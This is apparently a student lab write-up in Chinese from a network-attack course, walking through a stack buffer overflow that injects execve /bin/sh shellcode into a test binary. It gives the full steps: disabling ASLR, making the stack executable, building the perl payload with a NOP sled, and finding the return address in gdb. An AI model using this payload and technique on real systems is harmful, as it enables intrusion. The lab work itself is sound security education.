注入Shellcode并运行攻击
注入Shellcode并运行攻击
一、实验步骤
1.安装execstack并修改设置
安装execstack
apt-get install execstack
设置堆栈可执行
execstack -s 20154305
查询文件的堆栈是否可执行
execstack -q 20154305
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查询地址随机化是否关闭
more /proc/sys/kernel/randomize_va_space
0代表关闭,2代表开启
2. 构造攻击buf
本实验采用 retaddr+nop+shellcode 方法
由以上两阶段实验已经知道pwn1文件的foo函数字符串缓冲大小为32Byte
采用老师提供的shellcode 的代码
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
-用perl语言输入代码 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
3. 确定返回地址的值
将写好的代码通过管道方式输入给程序20154305中的foo函数进行覆盖
(cat input_shellcode;cat) | ./20154305
此处应注意,输入完指令只需要按一次回车,然后我们需要打开另一个终端
打开另外一个终端,用gdb来调试pwn1这个进程
首先找到20154305程序的进程号
ps -ef | grep 20154305
启动gdb调试这个程序
gdb
attach 2041
通过ps指令可以看到20154305程序有两个进程号:2041和2088,2041为上一个终端打开时的调用,故我们attach 2041进行调试
- 设置断点来查看注入buf的内存地址
disassemble foo
ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
break *0x080484ae
设置断点在另一个终端按下回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
通过
info r esp
查看esp寄存器的地址
上图可以看到 01010304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffffd3cc + 0x00000004 = 0xffffd3d0
。退出gdp调试。
4. 修改注入代码的覆盖地址
输入
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154305
至此,已经能够成功运行我们注入的shell代码,实验成功。
二、实验总结
实验到此为止,已经通过三种方法对源程序pwn1进行攻击,直接修改指令是最容易也是最容易理解的,后两个方法都是通过缓冲区溢出覆盖返回地址达到跳转到目的代码的目的。利用了程序没有进行越界检查的漏铜,通过Bof攻击达到某些目的,可见程序的漏洞对我们的危害十分大,可能泄露我们电脑上的任何信息,因此我们要特别加强信息安全方面的防范。
方法三的实验环境是比较开放的,关闭了地址随机化等,难度大大降低,希望能够在以后的学习中学到更难的攻击方法,当然如老师所言,学习到思路和方法才是最重要的。
注入Shellcode并运行攻击的更多相关文章
- 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击
20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...
- 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验
20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...
- 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...
- 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击
20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...
- 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验
shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...
- 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结
20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...
- 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验
注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...
- 20145327《网络对抗》——注入shellcode并执行和Return-to-libc攻击深入
20145327<网络对抗>--注入shellcode并执行 准备一段Shellcode 老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 ...
- 逆向与BOF基础——注入shellcode并执行&Return-to-libc
逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...
随机推荐
- Redis读超时排查
现象:STORM UI中发现bolt中有failed,异常日志抛异常read time out 业务场景:storm读写redis. 查看redis日志发现,正常情况下 每隔2小时都会有超时的异常抛出 ...
- jquery 事件的触发与绑定
bind事件绑定: live事件绑定: hover事件绑定: one事件绑定 toggle事件绑定:
- SSM商城项目(十二)
1. 学习计划 1.购物车实现 2.未登录状态下使用购物车 3.登录状态下使用购物车 2. 购物车的实现 2.1. 功能分析 1.购物车是一个独立的表现层工程. 2.添加购物车不要求登录.可以 ...
- vue2.0的初始化
vue2.0的初始化,使用 webpack构建工具生成的项目 直接上代码 main.js文件 // The Vue build version to load with the `import` co ...
- python异常捕捉以及处理
看标题觉得高大上,好像能处理所有的异常.但是,事实是只能按照字面的意思来理解这一段话. 众所周知写代码哪有不出bug的? 那么出现了bug 我们不想让程序因为bug的存在而退出.那么要怎么做呢? 今天 ...
- 第五周博客作业 <西北师范大学| 周安伟>
第五周博客作业 一,助教博客链接https://home.cnblogs.com/u/zaw-315/ 二,本周工作查阅项目汇报,班级微信群.对同学们的中期项目汇报进行查看,解决上周留言问题,对及时出 ...
- MyCP(课下作业,必做)- 20175218
MyCP(课下作业,必做) 1.任务详情 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt XXX2 ...
- 通行导论-IP数据网络基础(2)
传输控制协议(TCP) 差错控制:TCP使用差错控制提供可靠性,包括检测受到损伤.丢失.失序的报文段 实现方法:1.16位检验和,2.确认机制:采用确认证实收到的报文段,3.重传(设置一个重传超时RT ...
- net core中动态给log4net添加日志类型
private static object m_Lock = new object(); /// <summary> /// 根据类型获取对应的日志操作类 /// </summary ...
- git GUI设置长期记住密码
git config --global credential.helper store